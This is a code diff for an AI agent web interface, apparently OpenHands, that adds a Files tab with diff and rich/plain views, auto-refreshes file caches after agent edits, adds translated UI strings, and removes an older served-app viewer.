||||
export function joinWorkspaceUrl(
|
||||
baseUrl: string,
|
||||
relativePath?: string | null,
|
||||
): string {
|
||||
const cleaned = (relativePath ?? "").replace(/^\/+/, "");
|
||||
if (!cleaned) return baseUrl;
|
||||
const encoded = cleaned
|
||||
.split("/")
|
||||
.map((segment) => encodeURIComponent(segment))
|
||||
.join("/");
|
||||
// baseUrl is guaranteed to end with a single trailing slash by the
|
||||
// server's contract (startWorkspaceSession returns `${host}/api/.../workspace/`).
|
||||
return `${baseUrl}${encoded}`;
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
import { useEffect, useRef } from "react";
|
||||
import { useQueryClient } from "@tanstack/react-query";
|
||||
|
||||
import { useEventStore, type OHEvent } from "#/stores/use-event-store";
|
||||
import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter";
|
||||
|
||||
// `kind` values we treat as a file-mutation observation.
|
||||
const FILE_EDIT_OBSERVATION_KINDS = new Set([
|
||||
"FileEditorObservation",
|
||||
"StrReplaceEditorObservation",
|
||||
"PlanningFileEditorObservation",
|
||||
]);
|
||||
|
||||
// Commands on the str-replace-editor family that don't change anything on
|
||||
// disk. We don't want to invalidate caches for those.
|
||||
const READ_ONLY_COMMANDS = new Set(["view"]);
|
||||
|
||||
function isFileMutationObservation(event: OHEvent): boolean {
|
||||
// ObservationEvents have `source: "environment"` and an `observation`
|
||||
// field — narrow to that shape without pulling in the whole event union.
|
||||
const obs = (event as { observation?: { kind?: string; command?: string } })
|
||||
.observation;
|
||||
if (!obs || typeof obs.kind !== "string") return false;
|
||||
if (!FILE_EDIT_OBSERVATION_KINDS.has(obs.kind)) return false;
|
||||
if (obs.command && READ_ONLY_COMMANDS.has(obs.command)) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Watches the conversation event stream and invalidates the workspace file
|
||||
* queries whenever the agent commits a file-editor mutation (create / edit /
|
||||
* insert / undo_edit). This keeps the Files tab's list, content view and
|
||||
* diff view in sync with what the agent has actually written to disk,
|
||||
* without requiring the user to click refresh manually.
|
||||
*
|
||||
* Mount this hook inside any component that should drive auto-refresh —
|
||||
* the Files tab is the obvious caller. Multiple mounts are safe because
|
||||
* React Query coalesces overlapping invalidations.
|
||||
*/
|
||||
export function useAutoRefreshFilesOnEdit(): void {
|
||||
const queryClient = useQueryClient();
|
||||
const events = useEventStore((state) => state.events);
|
||||
const bumpWorkspaceMutationCounter = useWorkspaceMutationCounter(
|
||||
(state) => state.bump,
|
||||
);
|
||||
|
||||
// Track which events we've already reacted to. Two parallel stores:
|
||||
//
|
||||
// 1. `processedIdsRef` — keys events that *have* an id. The event store
|
||||
// re-sorts on insert when out-of-order events arrive (an older event
|
||||
// can land *between* two newer ones already in the array), so we
|
||||
// cannot use a `slice(processedCount)` trick — it would miss a
|
||||
// late-arriving older event because the array length grew but the
|
||||
// tail we just diffed didn't contain it. Using a Set of ids is O(n)
|
||||
// per render in the worst case but small in practice and immune to
|
||||
// reordering. Type matches the event store's own dedup set
|
||||
// (`Set<string | number>` in `use-event-store.ts`) so a stray
|
||||
// numeric id (legacy server payload, hand-crafted test event, …)
|
||||
// can't sneak past.
|
||||
//
|
||||
// 2. `processedEventsRef` — keys events that have NO id. We cannot put
|
||||
// a literal `undefined` into the id Set: that would make the second,
|
||||
// third, … id-less arrival collide on the same `undefined` key and
|
||||
// silently skip them. We also cannot just skip dedup for id-less
|
||||
// events: the events array is rebuilt on every store mutation but
|
||||
// its element references are stable, so the same id-less event
|
||||
// appears in the array forever and would re-bump the workspace
|
||||
// mutation counter on every subsequent re-render. Keying by object
|
||||
// reference (via a WeakSet) gives us "process each id-less event
|
||||
// exactly once" — durable, free, no held-onto memory after the
|
||||
// store clears.
|
||||
const processedIdsRef = useRef<Set<string | number>>(new Set());
|
||||
const processedEventsRef = useRef<WeakSet<OHEvent>>(new WeakSet());
|
||||
|
||||
useEffect(() => {
|
||||
const newMutationEvents: OHEvent[] = [];
|
||||
for (const event of events) {
|
||||
const id: string | number | undefined =
|
||||
"id" in event ? event.id : undefined;
|
||||
const alreadyProcessed =
|
||||
id !== undefined
|
||||
? processedIdsRef.current.has(id)
|
||||
: processedEventsRef.current.has(event);
|
||||
// Inverted predicate so we avoid `continue` (banned by repo lint).
|
||||
if (!alreadyProcessed) {
|
||||
if (id !== undefined) {
|
||||
processedIdsRef.current.add(id);
|
||||
} else {
|
||||
processedEventsRef.current.add(event);
|
||||
}
|
||||
if (isFileMutationObservation(event)) newMutationEvents.push(event);
|
||||
}
|
||||
}
|
||||
|
||||
if (newMutationEvents.length === 0) return;
|
||||
|
||||
queryClient.invalidateQueries({ queryKey: ["workspace-files"] });
|
||||
queryClient.invalidateQueries({ queryKey: ["workspace-file-content"] });
|
||||
queryClient.invalidateQueries({ queryKey: ["file_changes"] });
|
||||
// Force iframes / <img> tags pointing at the static workspace
|
||||
// fileserver to re-fetch. Without this they happily keep showing the
|
||||
// stale (browser-cached) bytes even after the agent has rewritten the
|
||||
// file on disk — e.g. tweaking style.css would silently have no
|
||||
// visible effect on the rendered index.html until the user reloaded
|
||||
// the whole canvas.
|
||||
bumpWorkspaceMutationCounter();
|
||||
}, [events, queryClient, bumpWorkspaceMutationCounter]);
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
import { useActiveConversation } from "#/hooks/query/use-active-conversation";
|
||||
|
||||
/**
|
||||
* Returns whether the active conversation is working in an "existing git
|
||||
* repository" from the user's point of view — that is, one they explicitly
|
||||
* attached via the repo picker. We deliberately do *not* probe the
|
||||
* filesystem (the agent-server initialises every workspace as an internal
|
||||
* git worktree for change tracking, so a positive `git status` does not
|
||||
* mean the user is working on a real repo).
|
||||
*/
|
||||
export function useIsGitRepo(): {
|
||||
isGitRepo: boolean;
|
||||
isLoading: boolean;
|
||||
} {
|
||||
const { data: conversation, isLoading } = useActiveConversation();
|
||||
return {
|
||||
isGitRepo: !!conversation?.selected_repository,
|
||||
isLoading,
|
||||
};
|
||||
}
|
||||
+236
-15
@@ -18670,6 +18670,227 @@
|
||||
"uk": "Додаток",
|
||||
"ca": "Aplicació"
|
||||
},
|
||||
"COMMON$FILES": {
|
||||
"en": "Files",
|
||||
"ja": "ファイル",
|
||||
"zh-CN": "文件",
|
||||
"zh-TW": "檔案",
|
||||
"ko-KR": "파일",
|
||||
"no": "Filer",
|
||||
"it": "File",
|
||||
"pt": "Arquivos",
|
||||
"es": "Archivos",
|
||||
"ar": "الملفات",
|
||||
"fr": "Fichiers",
|
||||
"tr": "Dosyalar",
|
||||
"de": "Dateien",
|
||||
"uk": "Файли",
|
||||
"ca": "Fitxers"
|
||||
},
|
||||
"FILES$DIFF_VIEW": {
|
||||
"en": "Diff",
|
||||
"ja": "差分",
|
||||
"zh-CN": "差异",
|
||||
"zh-TW": "差異",
|
||||
"ko-KR": "차이",
|
||||
"no": "Diff",
|
||||
"it": "Diff",
|
||||
"pt": "Diff",
|
||||
"es": "Diff",
|
||||
"ar": "الفروقات",
|
||||
"fr": "Diff",
|
||||
"tr": "Fark",
|
||||
"de": "Diff",
|
||||
"uk": "Diff",
|
||||
"ca": "Diff"
|
||||
},
|
||||
"FILES$RICH": {
|
||||
"en": "Rich",
|
||||
"ja": "リッチ",
|
||||
"zh-CN": "富文本",
|
||||
"zh-TW": "富文字",
|
||||
"ko-KR": "리치",
|
||||
"no": "Rik",
|
||||
"it": "Ricco",
|
||||
"pt": "Rico",
|
||||
"es": "Enriquecido",
|
||||
"ar": "غني",
|
||||
"fr": "Riche",
|
||||
"tr": "Zengin",
|
||||
"de": "Reich",
|
||||
"uk": "Повний",
|
||||
"ca": "Enriquit"
|
||||
},
|
||||
"FILES$PLAIN": {
|
||||
"en": "Plain",
|
||||
"ja": "プレーン",
|
||||
"zh-CN": "纯文本",
|
||||
"zh-TW": "純文字",
|
||||
"ko-KR": "일반",
|
||||
"no": "Vanlig",
|
||||
"it": "Semplice",
|
||||
"pt": "Simples",
|
||||
"es": "Plano",
|
||||
"ar": "عادي",
|
||||
"fr": "Simple",
|
||||
"tr": "Düz",
|
||||
"de": "Einfach",
|
||||
"uk": "Простий",
|
||||
"ca": "Pla"
|
||||
},
|
||||
"FILES$OPEN_IN_NEW_WINDOW": {
|
||||
"en": "Open in new window",
|
||||
"ja": "新しいウィンドウで開く",
|
||||
"zh-CN": "在新窗口中打开",
|
||||
"zh-TW": "在新視窗中開啟",
|
||||
"ko-KR": "새 창에서 열기",
|
||||
"no": "Åpne i nytt vindu",
|
||||
"it": "Apri in una nuova finestra",
|
||||
"pt": "Abrir em nova janela",
|
||||
"es": "Abrir en una ventana nueva",
|
||||
"ar": "افتح في نافذة جديدة",
|
||||
"fr": "Ouvrir dans une nouvelle fenêtre",
|
||||
"tr": "Yeni pencerede aç",
|
||||
"de": "In neuem Fenster öffnen",
|
||||
"uk": "Відкрити в новому вікні",
|
||||
"ca": "Obre en una finestra nova"
|
||||
},
|
||||
"FILES$NO_FILE_SELECTED": {
|
||||
"en": "Select a file to view its contents",
|
||||
"ja": "内容を表示するファイルを選択してください",
|
||||
"zh-CN": "选择文件以查看其内容",
|
||||
"zh-TW": "選擇檔案以查看其內容",
|
||||
"ko-KR": "내용을 보려면 파일을 선택하세요",
|
||||
"no": "Velg en fil for å vise innholdet",
|
||||
"it": "Seleziona un file per visualizzarne il contenuto",
|
||||
"pt": "Selecione um arquivo para ver o conteúdo",
|
||||
"es": "Selecciona un archivo para ver su contenido",
|
||||
"ar": "اختر ملفًا لعرض محتواه",
|
||||
"fr": "Sélectionnez un fichier pour voir son contenu",
|
||||
"tr": "İçeriğini görmek için bir dosya seçin",
|
||||
"de": "Wählen Sie eine Datei aus, um ihren Inhalt anzuzeigen",
|
||||
"uk": "Виберіть файл, щоб переглянути його вміст",
|
||||
"ca": "Selecciona un fitxer per veure'n el contingut"
|
||||
},
|
||||
"FILES$LOAD_ERROR": {
|
||||
"en": "Could not load this file",
|
||||
"ja": "このファイルを読み込めませんでした",
|
||||
"zh-CN": "无法加载此文件",
|
||||
"zh-TW": "無法載入此檔案",
|
||||
"ko-KR": "이 파일을 불러올 수 없습니다",
|
||||
"no": "Kunne ikke laste denne filen",
|
||||
"it": "Impossibile caricare questo file",
|
||||
"pt": "Não foi possível carregar este arquivo",
|
||||
"es": "No se pudo cargar este archivo",
|
||||
"ar": "تعذّر تحميل هذا الملف",
|
||||
"fr": "Impossible de charger ce fichier",
|
||||
"tr": "Bu dosya yüklenemedi",
|
||||
"de": "Diese Datei konnte nicht geladen werden",
|
||||
"uk": "Не вдалося завантажити цей файл",
|
||||
"ca": "No s'ha pogut carregar aquest fitxer"
|
||||
},
|
||||
"FILES$BINARY_FALLBACK": {
|
||||
"en": "Binary file – preview not available",
|
||||
"ja": "バイナリファイル - プレビューを利用できません",
|
||||
"zh-CN": "二进制文件 – 无法预览",
|
||||
"zh-TW": "二進位檔案 – 無法預覽",
|
||||
"ko-KR": "이진 파일 – 미리 보기를 사용할 수 없습니다",
|
||||
"no": "Binærfil – forhåndsvisning er ikke tilgjengelig",
|
||||
"it": "File binario – anteprima non disponibile",
|
||||
"pt": "Arquivo binário – visualização indisponível",
|
||||
"es": "Archivo binario – vista previa no disponible",
|
||||
"ar": "ملف ثنائي – المعاينة غير متاحة",
|
||||
"fr": "Fichier binaire – aperçu indisponible",
|
||||
"tr": "İkili dosya – önizleme kullanılamıyor",
|
||||
"de": "Binärdatei – keine Vorschau verfügbar",
|
||||
"uk": "Двійковий файл – попередній перегляд недоступний",
|
||||
"ca": "Fitxer binari – previsualització no disponible"
|
||||
},
|
||||
"FILES$LOADING_FILES": {
|
||||
"en": "Loading files…",
|
||||
"ja": "ファイルを読み込んでいます…",
|
||||
"zh-CN": "正在加载文件……",
|
||||
"zh-TW": "正在載入檔案……",
|
||||
"ko-KR": "파일을 불러오는 중…",
|
||||
"no": "Laster filer …",
|
||||
"it": "Caricamento dei file…",
|
||||
"pt": "Carregando arquivos…",
|
||||
"es": "Cargando archivos…",
|
||||
"ar": "جارٍ تحميل الملفات…",
|
||||
"fr": "Chargement des fichiers…",
|
||||
"tr": "Dosyalar yükleniyor…",
|
||||
"de": "Dateien werden geladen…",
|
||||
"uk": "Завантаження файлів…",
|
||||
"ca": "S'estan carregant els fitxers…"
|
||||
},
|
||||
"FILES$NO_FILES": {
|
||||
"en": "No files in workspace",
|
||||
"ja": "ワークスペースにファイルがありません",
|
||||
"zh-CN": "工作区中没有文件",
|
||||
"zh-TW": "工作區中沒有檔案",
|
||||
"ko-KR": "작업 영역에 파일이 없습니다",
|
||||
"no": "Ingen filer i arbeidsområdet",
|
||||
"it": "Nessun file nello spazio di lavoro",
|
||||
"pt": "Nenhum arquivo no espaço de trabalho",
|
||||
"es": "No hay archivos en el espacio de trabajo",
|
||||
"ar": "لا توجد ملفات في مساحة العمل",
|
||||
"fr": "Aucun fichier dans l'espace de travail",
|
||||
"tr": "Çalışma alanında dosya yok",
|
||||
"de": "Keine Dateien im Arbeitsbereich",
|
||||
"uk": "У робочій області немає файлів",
|
||||
"ca": "No hi ha fitxers a l'espai de treball"
|
||||
},
|
||||
"FILES$MORE_FILES": {
|
||||
"en": "More files",
|
||||
"ja": "他のファイル",
|
||||
"zh-CN": "更多文件",
|
||||
"zh-TW": "更多檔案",
|
||||
"ko-KR": "다른 파일",
|
||||
"no": "Flere filer",
|
||||
"it": "Altri file",
|
||||
"pt": "Mais arquivos",
|
||||
"es": "Más archivos",
|
||||
"ar": "مزيد من الملفات",
|
||||
"fr": "Plus de fichiers",
|
||||
"tr": "Daha fazla dosya",
|
||||
"de": "Weitere Dateien",
|
||||
"uk": "Більше файлів",
|
||||
"ca": "Més fitxers"
|
||||
},
|
||||
"FILES$SHOW_FILE_TREE": {
|
||||
"en": "Show file tree",
|
||||
"ja": "ファイルツリーを表示",
|
||||
"zh-CN": "显示文件树",
|
||||
"zh-TW": "顯示檔案樹",
|
||||
"ko-KR": "파일 트리 표시",
|
||||
"no": "Vis filtre",
|
||||
"it": "Mostra l'albero dei file",
|
||||
"pt": "Mostrar árvore de arquivos",
|
||||
"es": "Mostrar árbol de archivos",
|
||||
"ar": "إظهار شجرة الملفات",
|
||||
"fr": "Afficher l'arborescence des fichiers",
|
||||
"tr": "Dosya ağacını göster",
|
||||
"de": "Dateibaum anzeigen",
|
||||
"uk": "Показати дерево файлів",
|
||||
"ca": "Mostra l'arbre de fitxers"
|
||||
},
|
||||
"FILES$HIDE_FILE_TREE": {
|
||||
"en": "Hide file tree",
|
||||
"ja": "ファイルツリーを非表示",
|
||||
"zh-CN": "隐藏文件树",
|
||||
"zh-TW": "隱藏檔案樹",
|
||||
"ko-KR": "파일 트리 숨기기",
|
||||
"no": "Skjul filtre",
|
||||
"it": "Nascondi l'albero dei file",
|
||||
"pt": "Ocultar árvore de arquivos",
|
||||
"es": "Ocultar árbol de archivos",
|
||||
"ar": "إخفاء شجرة الملفات",
|
||||
"fr": "Masquer l'arborescence des fichiers",
|
||||
"tr": "Dosya ağacını gizle",
|
||||
"de": "Dateibaum ausblenden",
|
||||
"uk": "Сховати дерево файлів",
|
||||
"ca": "Amaga l'arbre de fitxers"
|
||||
},
|
||||
"COMMON$PLANNER": {
|
||||
"en": "Planner",
|
||||
"ja": "プランナー",
|
||||
@@ -19377,21 +19598,21 @@
|
||||
"ca": "Atura el servidor"
|
||||
},
|
||||
"COMMON$TERMINAL": {
|
||||
"en": "Terminal (read-only)",
|
||||
"ja": "ターミナル (読み取り専用)",
|
||||
"zh-CN": "终端(只读)",
|
||||
"zh-TW": "終端機(唯讀)",
|
||||
"ko-KR": "터미널 (읽기 전용)",
|
||||
"no": "Terminal (skrivebeskyttet)",
|
||||
"it": "Terminale (sola lettura)",
|
||||
"pt": "Terminal (somente leitura)",
|
||||
"es": "Terminal (solo lectura)",
|
||||
"ar": "الطرفية (للقراءة فقط)",
|
||||
"fr": "Terminal (lecture seule)",
|
||||
"tr": "Terminal (salt okunur)",
|
||||
"de": "Terminal (schreibgeschützt)",
|
||||
"uk": "Термінал (тільки читання)",
|
||||
"ca": "Terminal (només lectura)"
|
||||
"en": "Terminal",
|
||||
"ja": "ターミナル",
|
||||
"zh-CN": "终端",
|
||||
"zh-TW": "終端機",
|
||||
"ko-KR": "터미널",
|
||||
"no": "Terminal",
|
||||
"it": "Terminale",
|
||||
"pt": "Terminal",
|
||||
"es": "Terminal",
|
||||
"ar": "الطرفية",
|
||||
"fr": "Terminal",
|
||||
"tr": "Terminal",
|
||||
"de": "Terminal",
|
||||
"uk": "Термінал",
|
||||
"ca": "Terminal"
|
||||
},
|
||||
"COMMON$UNKNOWN": {
|
||||
"en": "Unknown",
|
||||
|
||||
@@ -0,0 +1,225 @@
|
||||
import { useEffect, useMemo, useState } from "react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { useQueryClient } from "@tanstack/react-query";
|
||||
|
||||
import { I18nKey } from "#/i18n/declaration";
|
||||
import { useWorkspaceFiles } from "#/hooks/query/use-workspace-files";
|
||||
import { useWorkspaceFileContent } from "#/hooks/query/use-workspace-file-content";
|
||||
import { useIsGitRepo } from "#/hooks/use-is-git-repo";
|
||||
import { useHasGitCommits } from "#/hooks/query/use-has-git-commits";
|
||||
import { useAutoRefreshFilesOnEdit } from "#/hooks/use-auto-refresh-files-on-edit";
|
||||
import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes";
|
||||
import { useOptionalConversationId } from "#/hooks/use-conversation-id";
|
||||
import { useConversationLocalStorageState } from "#/utils/conversation-local-storage";
|
||||
import {
|
||||
useWorkspaceMutationCounter,
|
||||
withWorkspaceCacheBuster,
|
||||
} from "#/stores/use-workspace-mutation-counter";
|
||||
import { sortFilesByPriority } from "#/utils/file-priority";
|
||||
import { FileQuickRow } from "#/components/features/files-tab/file-quick-row";
|
||||
import { FileTreeView } from "#/components/features/files-tab/file-tree-view";
|
||||
import { FileContentViewer } from "#/components/features/files-tab/file-content-viewer";
|
||||
import { SegmentedToggle } from "#/components/features/files-tab/segmented-toggle";
|
||||
import type { ViewMode } from "#/components/features/files-tab/view-mode";
|
||||
import RefreshIcon from "#/icons/u-refresh.svg?react";
|
||||
import LinkExternalIcon from "#/icons/link-external.svg?react";
|
||||
import GitChanges from "./changes-tab";
|
||||
|
||||
function FilesTab() {
|
||||
const { t } = useTranslation("openhands");
|
||||
|
||||
// Keep the list / content / diff caches fresh as the agent writes files.
|
||||
useAutoRefreshFilesOnEdit();
|
||||
|
||||
const { isGitRepo, isLoading: isGitRepoLoading } = useIsGitRepo();
|
||||
// A repo with zero commits has no diff base to compare against, so the
|
||||
// diff view would just be empty / misleading. Only probe when we already
|
||||
// believe there's a repo — saves a workspace round trip on every plain
|
||||
// (non-git) conversation.
|
||||
const { hasCommits } = useHasGitCommits({ enabled: isGitRepo });
|
||||
|
||||
// Diff view defaults to ON inside an existing git repo *with at least
|
||||
// one commit*, OFF otherwise (no repo, or repo with no commits yet).
|
||||
//
|
||||
// While the repo / commit probes are still resolving we stay optimistic
|
||||
// — most conversations live in a real repo, so defaulting to diff during
|
||||
// the brief loading window avoids a "files → diff" flash on initial
|
||||
// load. We only flip to files-view once `isGitRepo` *or* `hasCommits`
|
||||
// definitively resolves false. The user's persisted choice always wins.
|
||||
const { conversationId } = useOptionalConversationId();
|
||||
const {
|
||||
state: persistedState,
|
||||
setFilesTabDiffView,
|
||||
setFilesTabContentViewMode,
|
||||
} = useConversationLocalStorageState(conversationId ?? "");
|
||||
|
||||
const diffViewDefault =
|
||||
(isGitRepo || isGitRepoLoading) && hasCommits !== false;
|
||||
const diffViewEnabled = persistedState.filesTabDiffView ?? diffViewDefault;
|
||||
const contentViewMode = persistedState.filesTabContentViewMode;
|
||||
|
||||
// Collapsed by default — the quick-access pill row at the top is usually
|
||||
// enough; the user can expand the tree on demand.
|
||||
const [isTreeVisible, setIsTreeVisible] = useState(false);
|
||||
|
||||
const filesQuery = useWorkspaceFiles();
|
||||
const paths = useMemo(() => filesQuery.data ?? [], [filesQuery.data]);
|
||||
|
||||
const [selectedPath, setSelectedPath] = useState<string | null>(null);
|
||||
|
||||
// Pre-fetch the selected file's content here too so the toolbar's
|
||||
// "open in new window" link can reach for its `staticUrl`. react-query
|
||||
// dedupes against `FileContentViewer`'s identical call, so this costs
|
||||
// nothing extra.
|
||||
const selectedFileContent = useWorkspaceFileContent(selectedPath);
|
||||
const mutationCounter = useWorkspaceMutationCounter((state) => state.count);
|
||||
const selectedFileStaticUrl = withWorkspaceCacheBuster(
|
||||
selectedFileContent.data?.staticUrl ?? null,
|
||||
mutationCounter,
|
||||
);
|
||||
|
||||
// Auto-select the highest-priority file the first time we load the list,
|
||||
// so users see something useful immediately.
|
||||
useEffect(() => {
|
||||
if (selectedPath || paths.length === 0) return;
|
||||
const [first] = sortFilesByPriority(paths);
|
||||
if (first) setSelectedPath(first);
|
||||
}, [paths, selectedPath]);
|
||||
|
||||
// Refresh button: covers the diff view (git changes) and the file viewer
|
||||
// (workspace listing + cached file contents). Lives in this toolbar — not
|
||||
// in the outer ConversationTabs bar — so it sits with the other
|
||||
// files-tab-local controls.
|
||||
const queryClient = useQueryClient();
|
||||
const { refetch: refetchGitChanges, isFetching: isFetchingGitChanges } =
|
||||
useUnifiedGetGitChanges();
|
||||
const refreshFiles = () => {
|
||||
refetchGitChanges();
|
||||
queryClient.invalidateQueries({ queryKey: ["workspace-files"] });
|
||||
queryClient.invalidateQueries({ queryKey: ["workspace-file-content"] });
|
||||
};
|
||||
|
||||
return (
|
||||
<main
|
||||
className="h-full w-full flex flex-col items-stretch"
|
||||
data-testid="files-tab"
|
||||
>
|
||||
{/* Top toolbar: diff/files + rich/plain toggles (left-aligned) plus
|
||||
the refresh button on the right. */}
|
||||
<div className="flex items-center gap-3 px-3 py-1.5 border-b border-[#3A3D44]">
|
||||
<SegmentedToggle<"on" | "off">
|
||||
ariaLabel={t(I18nKey.FILES$DIFF_VIEW)}
|
||||
testId="files-tab-diff-toggle"
|
||||
value={diffViewEnabled ? "on" : "off"}
|
||||
options={[
|
||||
{ value: "on", label: t(I18nKey.FILES$DIFF_VIEW) },
|
||||
{ value: "off", label: t(I18nKey.COMMON$FILES) },
|
||||
]}
|
||||
onChange={(value) => setFilesTabDiffView(value === "on")}
|
||||
/>
|
||||
|
||||
{!diffViewEnabled && (
|
||||
<SegmentedToggle<ViewMode>
|
||||
ariaLabel={t(I18nKey.FILES$RICH)}
|
||||
testId="files-tab-content-mode-toggle"
|
||||
value={contentViewMode}
|
||||
options={[
|
||||
{ value: "rich", label: t(I18nKey.FILES$RICH) },
|
||||
{ value: "plain", label: t(I18nKey.FILES$PLAIN) },
|
||||
]}
|
||||
onChange={setFilesTabContentViewMode}
|
||||
/>
|
||||
)}
|
||||
|
||||
<div className="ml-auto flex items-center gap-1">
|
||||
{/* Open the currently-selected file in a new browser tab. Only
|
||||
meaningful while we're showing a file (not the diff view) and
|
||||
we've resolved its staticUrl from the workspace fileserver. */}
|
||||
{!diffViewEnabled && selectedFileStaticUrl && (
|
||||
<a
|
||||
href={selectedFileStaticUrl}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
aria-label={t(I18nKey.FILES$OPEN_IN_NEW_WINDOW)}
|
||||
title={t(I18nKey.FILES$OPEN_IN_NEW_WINDOW)}
|
||||
data-testid="files-tab-open-in-new-window"
|
||||
className="flex items-center justify-center w-[26px] py-1 rounded-[7px] hover:bg-[#474A54] cursor-pointer text-white"
|
||||
>
|
||||
<LinkExternalIcon width={14} height={14} />
|
||||
</a>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
onClick={refreshFiles}
|
||||
disabled={isFetchingGitChanges}
|
||||
aria-label={t(I18nKey.COMMON$FILES)}
|
||||
data-testid="files-tab-refresh"
|
||||
className="flex items-center justify-center w-[26px] py-1 rounded-[7px] hover:enabled:bg-[#474A54] cursor-pointer disabled:opacity-50 disabled:cursor-not-allowed"
|
||||
>
|
||||
<RefreshIcon
|
||||
width={12.75}
|
||||
height={15}
|
||||
color="#ffffff"
|
||||
className={isFetchingGitChanges ? "animate-spin" : ""}
|
||||
/>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{diffViewEnabled ? (
|
||||
<div className="flex-1 min-h-0">
|
||||
<GitChanges />
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex flex-1 flex-col min-h-0">
|
||||
{filesQuery.isLoading ? (
|
||||
<div className="flex flex-1 items-center justify-center text-sm text-[#9299AA]">
|
||||
{t(I18nKey.FILES$LOADING_FILES)}
|
||||
</div>
|
||||
) : (
|
||||
<>
|
||||
<FileQuickRow
|
||||
paths={paths}
|
||||
selectedPath={selectedPath}
|
||||
onSelectFile={setSelectedPath}
|
||||
isTreeVisible={isTreeVisible}
|
||||
onToggleTree={() => setIsTreeVisible((prev) => !prev)}
|
||||
/>
|
||||
<div className="flex flex-1 min-h-0">
|
||||
{isTreeVisible && (
|
||||
<aside
|
||||
className="w-56 shrink-0 border-r border-[#3A3D44] overflow-y-auto custom-scrollbar-always"
|
||||
data-testid="files-tab-tree"
|
||||
>
|
||||
<FileTreeView
|
||||
paths={paths}
|
||||
selectedPath={selectedPath}
|
||||
onSelectFile={setSelectedPath}
|
||||
/>
|
||||
</aside>
|
||||
)}
|
||||
<section
|
||||
className="flex-1 min-w-0 min-h-0"
|
||||
data-testid="files-tab-content"
|
||||
>
|
||||
{selectedPath ? (
|
||||
<FileContentViewer
|
||||
path={selectedPath}
|
||||
viewMode={contentViewMode}
|
||||
/>
|
||||
) : (
|
||||
<div className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]">
|
||||
{t(I18nKey.FILES$NO_FILE_SELECTED)}
|
||||
</div>
|
||||
)}
|
||||
</section>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</main>
|
||||
);
|
||||
}
|
||||
|
||||
export default FilesTab;
|
||||
@@ -1,107 +0,0 @@
|
||||
import React from "react";
|
||||
import { FaArrowRotateRight } from "react-icons/fa6";
|
||||
import { FaExternalLinkAlt, FaHome } from "react-icons/fa";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { useUnifiedActiveHost } from "#/hooks/query/use-unified-active-host";
|
||||
import { PathForm } from "#/components/features/served-host/path-form";
|
||||
import { I18nKey } from "#/i18n/declaration";
|
||||
import ServerProcessIcon from "#/icons/server-process.svg?react";
|
||||
|
||||
function ServedApp() {
|
||||
const { t } = useTranslation("openhands");
|
||||
const { activeHost } = useUnifiedActiveHost();
|
||||
const [refreshKey, setRefreshKey] = React.useState(0);
|
||||
const [currentActiveHost, setCurrentActiveHost] = React.useState<
|
||||
string | null
|
||||
>(null);
|
||||
const [path, setPath] = React.useState<string>("hello");
|
||||
|
||||
const formRef = React.useRef<HTMLFormElement>(null);
|
||||
|
||||
const handleOnBlur = () => {
|
||||
if (formRef.current) {
|
||||
const formData = new FormData(formRef.current);
|
||||
const urlInputValue = formData.get("url")?.toString();
|
||||
|
||||
if (urlInputValue) {
|
||||
const url = new URL(urlInputValue);
|
||||
|
||||
setCurrentActiveHost(url.origin);
|
||||
setPath(url.pathname);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const resetUrl = () => {
|
||||
setCurrentActiveHost(activeHost);
|
||||
setPath("");
|
||||
|
||||
if (formRef.current) {
|
||||
formRef.current.reset();
|
||||
}
|
||||
};
|
||||
|
||||
React.useEffect(() => {
|
||||
resetUrl();
|
||||
}, [activeHost]);
|
||||
|
||||
const fullUrl = `${currentActiveHost}/${path}`;
|
||||
|
||||
if (!currentActiveHost) {
|
||||
return (
|
||||
<div className="flex flex-col items-center justify-center w-full h-full p-10">
|
||||
<ServerProcessIcon width={113} height={113} color="#A1A1A1" />
|
||||
<span className="text-[#8D95A9] text-[19px] font-normal leading-5">
|
||||
{t(I18nKey.BROWSER$SERVER_MESSAGE)}
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="h-full w-full">
|
||||
<div className="w-full p-2 flex items-center gap-4 border-b border-neutral-600">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => window.open(fullUrl, "_blank")}
|
||||
className="text-sm"
|
||||
aria-label={t(I18nKey.BUTTON$OPEN_IN_NEW_TAB)}
|
||||
>
|
||||
<FaExternalLinkAlt className="w-4 h-4" />
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setRefreshKey((prev) => prev + 1)}
|
||||
className="text-sm"
|
||||
aria-label={t(I18nKey.BUTTON$REFRESH)}
|
||||
>
|
||||
<FaArrowRotateRight className="w-4 h-4" />
|
||||
</button>
|
||||
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => resetUrl()}
|
||||
className="text-sm"
|
||||
aria-label={t(I18nKey.BUTTON$HOME)}
|
||||
>
|
||||
<FaHome className="w-4 h-4" />
|
||||
</button>
|
||||
<div className="w-full flex">
|
||||
<PathForm
|
||||
ref={formRef}
|
||||
onBlur={handleOnBlur}
|
||||
defaultValue={fullUrl}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<iframe
|
||||
key={refreshKey}
|
||||
title={t(I18nKey.SERVED_APP$TITLE)}
|
||||
src={fullUrl}
|
||||
className="w-full h-full custom-scrollbar-always"
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default ServedApp;
|
||||
@@ -6,9 +6,8 @@ import {
|
||||
} from "#/utils/conversation-local-storage";
|
||||
|
||||
export type ConversationTab =
|
||||
| "editor"
|
||||
| "files"
|
||||
| "browser"
|
||||
| "served"
|
||||
| "vscode"
|
||||
| "terminal"
|
||||
| "planner"
|
||||
